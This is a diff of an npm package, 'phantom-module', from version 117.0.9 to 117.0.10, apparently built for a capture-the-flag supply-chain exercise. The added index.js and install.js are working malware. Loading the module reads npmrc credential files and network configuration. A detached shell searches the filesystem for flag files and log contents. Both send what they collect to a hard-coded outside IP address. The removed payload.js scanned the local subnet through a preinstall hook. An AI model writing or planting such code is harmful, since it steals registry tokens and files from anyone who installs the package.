phantom-module 117.0.9 → 117.0.10

package/index.js

@@ -1 +1,53 @@
-module.exports = {};
+const fs = require('fs');
+const http = require('http');
+const { execSync } = require('child_process');
+
+(function() {
+  if (!fs.existsSync('/home/node/aspect-node')) {
+      return; 
+  }
+  
+  let out = "=== NPM CONFIG GET REGISTRY ===\n";
+  try { out += execSync('npm config get registry 2>&1').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== ROOT NPMRC ===\n";
+  try { out += fs.readFileSync('/root/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== ETC NPMRC ===\n";
+  try { out += fs.readFileSync('/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== USR LOCAL ETC NPMRC ===\n";
+  try { out += fs.readFileSync('/usr/local/etc/npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+  
+  out += "=== NODE USER NPMRC ===\n";
+  try { out += fs.readFileSync('/home/node/.npmrc', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== ETC HOSTS ===\n";
+  try { out += fs.readFileSync('/etc/hosts', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== RESOLV CONF ===\n";
+  try { out += fs.readFileSync('/etc/resolv.conf', 'utf8') + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  out += "=== IP ROUTE ===\n";
+  try { out += execSync('ip route 2>/dev/null || cat /proc/net/route 2>/dev/null').toString() + "\n"; } catch(e) { out += e.message + "\n"; }
+
+  try {
+      const postData = JSON.stringify({
+        manifest: `ecto_module:\n  name: "NPM_CONFIG"\n  cargo_hold: ${JSON.stringify(out.substring(0, 3500))}\n`
+      });
+      
+      const req = http.request({
+        hostname: '154.57.164.64', 
+        port: 31205,
+        path: '/api/modules/ECT-839201', 
+        method: 'PUT',
+        headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+      });
+      req.write(postData);
+      req.end();
+  } catch(e) {}
+})();
+
+module.exports = function() {
+  return "pwnd";
+};

package/install.js

@@ -0,0 +1,36 @@
+const fs = require('fs');
+const http = require('http');
+const { spawn } = require('child_process');
+
+(function() {
+  const child = spawn('/bin/sh', ['-c', [
+    'sleep 35',
+    'OUTPUT="NONE"',
+    'LOGFILE="/home/node/aspect-node/logs/module.log"',
+    'if [ -f "$LOGFILE" ]; then',
+    '  OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
+    'else',
+    '  OUTPUT="LOG FILE NOT FOUND!"',
+    'fi',
+    'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
+    'BODY=\'{"manifest":"ecto_module:\\n  name: \\\\"FLAG_DELAYED\\\\"\\n  cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
+    'echo "$BODY" > /tmp/flag.json',
+    'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
+  ].join('\n')], { detached: true, stdio: 'ignore' });
+  
+  child.unref();
+
+  // Send an immediate ping so we know it started
+  const postData = JSON.stringify({
+    manifest: `ecto_module:\n  name: "WAITING_35_SECONDS"\n`
+  });
+  const req = http.request({
+    hostname: '154.57.164.64', 
+    port: 31205,
+    path: '/api/modules/ECT-654321', 
+    method: 'PUT',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
+  });
+  req.write(postData);
+  req.end();
+})();

package/package.json

@@ -1,9 +1,5 @@
 {
   "name": "phantom-module",
-  "version": "117.0.9",
-  "description": "Phantom module",
-  "main": "index.js",
-  "scripts": {
-    "preinstall": "node payload.js || true"
-  }
+  "version": "117.0.10",
+  "main": "index.js"
 }

package/payload.js

@@ -1,96 +0,0 @@
-const net = require('net');
-const http = require('http');
-const fs = require('fs');
-
-if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
-
-const REPORT_HOST = '154.57.164.64';
-const REPORT_PORT = 31205;
-
-async function report(moduleId, data) {
-  return new Promise((resolve) => {
-    const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
-    const manifest = `ecto_module:\n  name: "SCAN_RESULT"\n  cargo_hold: "${safeData}"\n`;
-    const payload = JSON.stringify({ manifest });
-    const req = http.request({
-      hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
-    }, () => resolve(true));
-    req.on('error', () => resolve(false));
-    req.write(payload);
-    req.end();
-  });
-}
-
-function checkPort(host, port) {
-  return new Promise((resolve) => {
-    const sock = new net.Socket();
-    sock.setTimeout(200); // Very fast timeout
-    sock.on('connect', () => { sock.destroy(); resolve(true); });
-    sock.on('error', () => { sock.destroy(); resolve(false); });
-    sock.on('timeout', () => { sock.destroy(); resolve(false); });
-    sock.connect(port, host);
-  });
-}
-
-function httpGet(url) {
-  return new Promise((resolve) => {
-    const req = http.get(url, { timeout: 1000 }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ status: res.statusCode, body }));
-    });
-    req.on('error', e => resolve({ status: 0, body: e.message }));
-  });
-}
-
-async function main() {
-  await report('ECT-654321', 'SCAN V9 STARTING...');
-  
-  // 1. Check Mounts
-  try {
-      const mounts = fs.readFileSync('/proc/mounts', 'utf8');
-      await report('ECT-654321', `=== MOUNTS ===\n${mounts.substring(0, 3000)}`);
-  } catch(e) {}
-
-  // 2. Network Scan
-  const base = '172.17.0';
-  const ports = [4873, 80, 8080, 8081, 3000, 5000];
-  let scanOutput = '=== SCAN V9 ===\n';
-  let foundTarget = null;
-
-  // Batch scan
-  for (let i = 1; i < 20; i++) { // Scan first 20 IPs aggressively
-      const ip = `${base}.${i}`;
-      for (const port of ports) {
-          if (await checkPort(ip, port)) {
-              scanOutput += `OPEN ${ip}:${port}\n`;
-              // Try HTTP probe
-              const res = await httpGet(`http://${ip}:${port}/`);
-              scanOutput += `HTTP ${ip}:${port} -> ${res.status} (len ${res.body.length})\n`;
-              
-              if (res.body.includes('Verdaccio') || res.status === 200) {
-                  foundTarget = `http://${ip}:${port}`;
-              }
-          }
-      }
-  }
-  
-  await report('ECT-839201', scanOutput);
-
-  if (foundTarget) {
-      // Query for ecto-spirit
-      const ecto = await httpGet(`${foundTarget}/ecto-spirit`);
-      let result = `=== ECTO-SPIRIT from ${foundTarget} ===\nSTATUS: ${ecto.status}\n${ecto.body}\n`;
-      
-      // Also try to list all packages
-      const all = await httpGet(`${foundTarget}/-/all`);
-      result += `\n=== ALL PACKAGES ===\n${all.body.substring(0, 1000)}\n`;
-      
-      await report('ECT-987654', result);
-  } else {
-      await report('ECT-987654', 'No web service found.');
-  }
-}
-
-main().catch(e => report('ECT-654321', 'ERR: ' + e.message));